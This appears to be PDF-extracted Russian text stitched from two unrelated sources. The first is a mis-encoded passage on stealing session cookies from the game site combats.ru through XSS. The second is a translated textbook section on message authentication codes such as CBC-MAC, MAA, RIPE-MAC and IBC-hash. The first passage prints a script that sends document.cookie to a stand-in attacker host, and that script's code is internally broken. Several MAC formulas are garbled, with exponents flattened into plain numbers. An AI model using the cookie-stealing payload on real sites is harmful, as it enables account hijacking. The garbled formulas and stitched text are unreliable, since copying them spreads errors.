Ɍɚɤɢɦ ɨɛɪɚɡɨɦ, ɦɨɠɧɨ ɩɨɜɬɨɪɢɬɶ ɚɭɬɟɧɬɢɮɢɤɚɰɢɸ, ɤɨɝɞɚ ɫɟɫɫɢɹ ɭɫɬɚɪɟɥɚ (ɩɪɟɜɵɲɟɧ ɧɟɤɨɬɨɪɵɣ ɥɢɦɢɬ ɩɨ ɜɪɟɦɟɧɢ) ɢɥɢ ɩɪɨɜɟɪɢɬɶ ɞɚɧɧɵɟ ɩɨɥɶɡɨɜɚɬɟɥɹ ɧɚ ɥɟɬɭ. Ɉɞɧɚɤɨ, ɩɟɪɟɯɜɚɬɢɜ ɷɬɨɬ cookie, ɥɸɛɨɣ ɫ ɤɥɢɟɧɬɫɤɨɣ ɫɬɨɪɨɧɵ ɦɨɠɟɬ ɩɪɟɞɫɬɚɜɢɬɶ ɫɟɛɹ ɚɭɬɟɧɬɢɮɢɰɢɪɨɜɚɧɧɵɦ ɩɨɥɶɡɨɜɚɬɟɥɟɦ. ɗɬɨɬ ɫɟɫɫɢɨɧɧɵɣ cookie ɢ ɟɫɬɶ ɨɞɧɨ ɢɡ ɫɥɚɛɵɯ ɦɟɫɬ ɩɪɨɬɨɤɨɥɚ. ɉɪɢɦɟɪ ɤɪɚɠɢ cookie ɧɚ combats.ru ɩɪɢɜɟɞɟɧ ɧɢɠɟ.

ɉɪɢɦɟɪ ɚɬɚɤɢ ɧɚ combats.ru.

Ɇɧɨɠɟɫɬɜɨ ɪɚɡɥɢɱɧɵɯ ɫɚɣɬɨɜ ɢɫɩɨɥɶɡɭɸɬ ɜ ɤɚɱɟɫɬɜɟ ɫɪɟɞɫɬɜɚ ɚɭɬɟɧɬɢɮɢɤɚɰɢɢ cookie, ɤ ɧɢɦ ɨɬɧɨɫɹɬɫɹ ɱɚɬɵ, ɮɨɪɭɦɵ, ɢɝɪɵ. ȿɫɥɢ cookie ɭɞɚɫɬɫɹ ɩɨɯɢɬɢɬɶ, ɬɨ, ɩɨɞɞɟɥɚɜ ɟɝɨ, ɦɨɠɧɨ ɚɭɬɟɧɬɢɮɢɰɢɪɨɜɚɬɶɫɹ ɜ ɤɚɱɟɫɬɜɟ ɞɪɭɝɨɝɨ ɩɨɥɶɡɨɜɚɬɟɥɹ.

ȼ ɫɥɭɱɚɟ, ɤɨɝɞɚ ɜɜɨɞɢɦɵɟ ɞɚɧɧɵɟ ɩɥɨɯɨ ɮɢɥɶɬɪɭɸɬɫɹ ɢɥɢ ɧɟ ɮɢɥɶɬɪɭɸɬɫɹ ɜɨɜɫɟ, ɩɨɯɢɬɢɬɶ cookie ɫɬɚɧɨɜɢɬɫɹ ɧɟ ɨɱɟɧɶ ɫɥɨɠɧɵɦ ɩɪɟɞɩɪɢɹɬɢɟɦ.

ɉɪɢɦɟɪ ɫɤɪɢɩɬɚ, ɩɨɡɜɨɥɹɸɳɢɣ ɩɨɯɢɬɢɬɶ cookie:

<script>

#x ɫɨɞɟɪɠɢɬ ɞɚɧɧɵɟ cookie ɫ ɡɚɳɢɳɟɧɧɨɝɨ ɞɨɦɟɧɚ var x = document.cookie;

#ɦɟɫɬɨ ɜ ɫɟɬɢ, ɤɭɞɚ ɩɨɫɥɚɬɶ ɭɤɪɚɞɟɧɧɵɣ cookie

var place = "http://www.somewhere.com/cgi-bin/attack.cgi?COOKIE="; document.img[x].src = location + cookie_data;

</script>

Ⱦɚɧɧɵɟ cookie ɛɭɞɭɬ ɨɬɩɪɚɜɥɟɧɵ ɫ ɩɨɦɨɳɶɸ get ɡɚɩɪɨɫɚ ɤ ɫɟɪɜɟɪɭ ɚɬɚɤɭɸɳɟɝɨ: http://www.somewhere.com/cgi-bin/attack.cgi?COOKIE=cookie_data

Ƚɥɚɜɧɵɟ ɞɨɫɬɨɢɧɫɬɜɚ ɷɬɨɝɨ ɦɟɬɨɞɚ – ɩɪɨɫɬɨɬɚ ɪɟɚɥɢɡɚɰɢɢ ɢ ɨɬɫɭɬɫɬɜɢɟ ɫɥɟɞɨɜ ɧɚ ɚɬɚɤɭɟɦɨɦ ɫɟɪɜɟɪɟ. Ⱥɬɚɤɚ ɩɪɨɯɨɞɢɬ ɧɟɡɚɦɟɬɧɨ ɞɥɹ ɩɨɥɶɡɨɜɚɬɟɥɹ, ɱɬɨ ɬɚɤɠɟ ɹɜɥɹɟɬɫɹ ɧɟɫɨɦɧɟɧɧɵɦ ɩɥɸɫɨɦ ɞɚɧɧɨɣ ɚɬɚɤɢ.

Ɋɟɚɥɢɡɚɰɢɹ ɧɚ ɩɪɚɤɬɢɤɟ.

Ⱦɚɧɧɵɣ ɜɢɞ ɚɬɚɤɢ ɪɟɚɥɢɡɨɜɚɧ ɭɠɟ ɧɟ ɨɞɢɧ ɪɚɡ, ɩɨɞɪɨɛɧɨɫɬɢ ɦɨɠɧɨ ɧɚɣɬɢ ɧɚ ɛɚɝɬɪɟɤɚɯ. Ɉɫɬɚɧɨɜɢɦɫɹ ɧɚ ɨɞɧɨɦ ɛɚɝɟ, ɫɭɳɟɫɬɜɨɜɚɜɲɟɦ ɤɨɝɞɚ-ɬɨ ɜ ɨɞɧɨɣ online-

ɢɝɪɟ «Ȼɨɣɰɨɜɫɤɢɣ ɤɥɭɛ», http://www.combats.ru.

4

86

18.14 Коды проверки подлинности сообщения

Код проверки подлинности сообщения (message authentication code, MAC) - это зависящая от ключа однонаправленная хэш-функция. Коды MAC обладают теми же свойствами, что и рассмотренные ранее хэш-функции, но они, кроме того, включают ключ. (Это не означает, что вы можете опубликовать ключ MAC и использовать MAC как однонаправленную хэш-функцию.) Только владелец идентичного ключа может проверить хэшзначение. Коды MAC очень полезны для обеспечения проверки подлинности без нарушения безопасности .

Коды MAC могут быть использованы для проверки подлинности файлов, которыми обмениваются пользов а- тели. Также они могут быть использованы одним пользователем для проверки, не изменились ли его файлы, может быть из-за вируса. Пользователь может вычислить MAC его файлов и сохранить эти значения в таблице . Если пользователь воспользуется вместо MAC однонаправленной хэш-функцией, то вирус может вычислить новые хэш-значения после заражения файлов и заменить элементы таблицы . С MAC вирус не сможет этого добиться, так как ключ вирусу неизвестен .

Простым способом преобразовать однонаправленную хэш-функцию в MAC является шифрование хэшзначения симметричным алгоритмом . Любой MAC может быть преобразован в однонаправленную хэшфункцию с помощью раскрытия ключа.

CBC-MAC

Простейший способ создать зависящую от ключа однонаправленную хэш-функцию - шифрование сообщения блочным алгоритмом в режимах CBC или CFB. Хэш-значением является последний шифрованный блок , зашифрованный в режимах CBC или CFB. Метод CBC определен в ANSI X9.9 [54], ANSI X9.19 [56], ISO 8731-1 [759], ISO 9797 [763] и австралийском стандарте [1496]. Дифференциальный криптоанализ может вскрыть эту схему, если в качестве блочного алгоритма используется DES с уменьшенным числом этапов или FEAL [1197].

Потенциальная проблема, связанная с безопасностью этого метода, состоит в том, что получатель должен знать ключ, и этот ключ позволяет ему генерировать сообщения с тем же хэш-значением, что и у присланного сообщения, с помощью дешифрирования в обратном направлении .

Алгоритм проверки подлинности сообщения (Message Authenticator Algorithm, MAA)

Этот алгоритм является стандартом ISO [760]. Он выдает 32-битовое хэш-значение и был спроектирован для мэйнфреймов с быстрыми инструкциями умножения [428].

v = v <<< 1

e = v w

x = ((((e + y) mod 232) A C) * (x Mi)) mod 232-1 y = ((((e + x) mod 232) B D) * (y Mi)) mod 232-1

Эти действия повторяются для каждого блока сообщения , Mi, и результирующее хэш-значение получается с помощью XOR x и y. Переменные v и e зависят от ключа. A, B, C и D являются константами.

Возможно, этот алгоритм широко используется , но я не верю, что он достаточно безопасен . Он был разработан давным давно и не слишком сложен.

Двунаправленный MAC

Этот MAC выдает хэш-значение, которое в два раза длиннее блока алгоритма [978). Сначала для сообщения вычисляется CBC-MAC. Затем вычисляется CBC-MAC сообщения с обратным порядком блоков . Двунаправленный MAC просто является объединением этих двух значений . К сожалению эта схема небезопасна [1097].

Методы Джунемана

Этот MAC также называют квадратичным конгруэнтным кодом обнаружения манипуляции ( quadratic congruential manipulation detection code, QCMDC) [792, 789]. Сначала разделим сообщение на m-битовые блоки. Затем:

H0 = IH, , ãäå IH - секретный ключ

Hi = (Hi-1 + Mi)2 mod p, где p - простое число, меньшее 2m-1, а + обозначает целочисленное сложение.

Джунеман (Jueneman) предлагает n = 16 и p = 231-1. В [792] он также предлагает, чтобы H1 использовался в качестве дополнительного ключа, а действительное сообщение начиналось бы с H2.

Из-за множества вскрытий типа дня рождения, выполненных в сотрудничестве с Доном Копперсмитом , Джунеман предложил вычислять QCMDC четыре раза, используя результат одной итерации в качестве IV для

87

следующей итерации, а затем результаты объединяются в 128-битовое хэш-значение [793]. В дальнейшем эта идея была усилена за счет параллельного выполнения четырех итераций с поперечными связями между ними [790, 791]. Эта схема была взломана Копперсмитом [376].

В другом варианте [432, 434] операция сложения заменена XOR, и используются блоки сообщения, намного меньшие p. Кроме того, был задан H0, что превратило алгоритм в однонаправленную хэш-функцию без ключа . После того, как эта схема была вскрыта [612], она была усилена для использования в качестве части проекта European Open Shop Information-TeleTrust [1221], процитирована в CCITT X.509 [304] и принята ISO в 10118 [764, 765]. К сожалению Копперсмит взломал и эту схему [376]. В ряде исследований изучалась возможность использовать отличные от 2 основания экспоненты [603], но ни одно не оказалось перспективным .

RIPE-MAC

RIPE-MAC был изобретен Бартом Пренелом [1262] и использован в проекте RIPE [1305] (см. раздел 18.8). Он основан на ISO 9797 [763] и использует DES в качестве функции блочного шифрования . Существует два варианта RIPE-MAC: один, который использует обычный DES, называется RIPE-MAC1, а другой, использующий для еще большей безопасности тройной DES, называется RIPE-MAC3. RIPE-MAGI использует одно шифрование DES на 64-битовый блок сообщения, а RIPE-MAC3 - три.

Алгоритм состоит из трех частей. Во первых, сообщение увеличивается так, чтобы его длина была кратна 64 битам. Затем, увеличенное сообщение разбивается на 64-битовые блоки. Для хэширования этих блоков в один блок используется функция сжатия, зависящая от секретного ключа . На этом этапе используется либо DES, либо тройной DES. Наконец, выход этой функции сжатия подвергается еще одному DES-шифрованию с другим клю- чом, полученным из ключа, используемого при сжатии . Подробности можно найти в [1305].

IBC-õýø

IBC-хэш - это еще один MAC, используемый в проекте RIPE [1305] (см. раздел 18.8). Он интересен потому, что его безопасность доказана, вероятность успешного вскрытия может быть оценена количественно . К сожалению каждое сообщение должно хэшироваться новым ключом . Выбранный уровень безопасности ограничивает максимальный размер хэшируемого сообщения, чего не делает ни одна другая из рассмотренных в этой главе функция. С учетом этих соображений в отчете RIPE рекомендуется, чтобы IBC-хэш использовалась бы только для длинных, редко посылаемых сообщений. Ядром функции является

hi = ((Mi mod p) + v) mod 2n

Секретный ключ представляет собой пару p и v, где p - n-битовое простое число, а v - случайное число, меньшее 2n. Значения Mi получаются с помощью строго определенной процедуры дополнения . Вероятности вскрыть как однонаправленность, так и устойчивость к столкновениям, могут быть оценены количественно, и пользователи, меняя параметры, могут выбрать нужный уровень безопасности .

Однонаправленная хэш-функция MAC

В качестве MAC может быть использована и однонаправленная хэш-функция [1537]. Пусть Алиса и Боб используют общий ключ K, и Алиса хочет отправить Бобу MAC сообщения M. Алиса объединяет K и M, и вычисляет однонаправленную хэш-функцию объединения: H(K,M). Это хэш-значение и является кодом MAC. Так как Боб знает K, он может воспроизвести результат Алисы, а Мэллори, которому ключ неизвестен, не сможет это сделать.

Со методами MD-усиления этот способ работает, но есть серьезные проблемы. Мэллори всегда может добавить новые блоки к концу сообщения и вычислить правильный MAC. Это вскрытие может быть предотвращено, если к началу сообщения добавить его длину , но Пренел сомневается в этой схеме [1265]. Лучше добавлять ключ к концу сообщения, H(M,K), но при этом также возникают проблемы [1265]. Если H однонаправленная функция, которая не защищена от столкновений , Мэллори может подделывать сообщения. Еще лучше H(K,M,K) или H(Kl,M,K2), ãäå Kl è K2 различны [1537]. Пренел не уверен и в этом [1265].

Безопасными кажутся следующие конструкции :

H(Kl, H(K2, M))

H(K, H(K,M))

H(K, p,M,K)), где p дополняет K до полного блока сообщения.

Лучшим подходом является объединение с каждым блоком сообщения по крайней мере 64 битов ключа. Это делает однонаправленную функцию менее эффективной, так как уменьшаются блоки сообщения, но так она становится намного безопаснее [1265].

Или используйте однонаправленную хэш-функцию и симметричный алгоритм . Сначала хэшируйте файл,

88

потом зашифруйте хэш-значение. Это безопаснее, чем сначала шифровать файл, а затем хэшировать зашифр о- ванный файл, но эта схема чувствительна к тому же вскрытию, что и конструкция H(M,K) [1265].

MAC с использованием потокового шифра

Эта схема MAC использует потоковые шифры (см. 3-й) [932]. Криптографически безопасный генератор псевдослучайных битов демультиплексирует поток сообщения на два подпотока . Если на выходе генератора битов ki единица, то текущий бит сообщения mi отправляется в первый подпоток, если ноль, то mi отправляется во второй подпоток. Каждый подпоток отправляется на свой LFSR (раздел 16.2). Выходом MAC просто является конечное состояние обоих регистров .

К несчастью этот метод небезопасен по отношению к небольшим изменениям в сообщении [1523]. Например, если изменить последний бит сообщения, то для создания поддельного MAC нужно будет изменить только 2 бита соответствующего MAC; это может быть выполнено с заметной вероятностью . Автор предлагает более безопасный, и более сложный, вариант .

CSPRNG

Сдвиговый регистр 1

Поток сообщения

Ïåðå-

ключатель

Сдвиговый регистр 1

Рис. 18-15. MAC с использованием потокового шифра.

89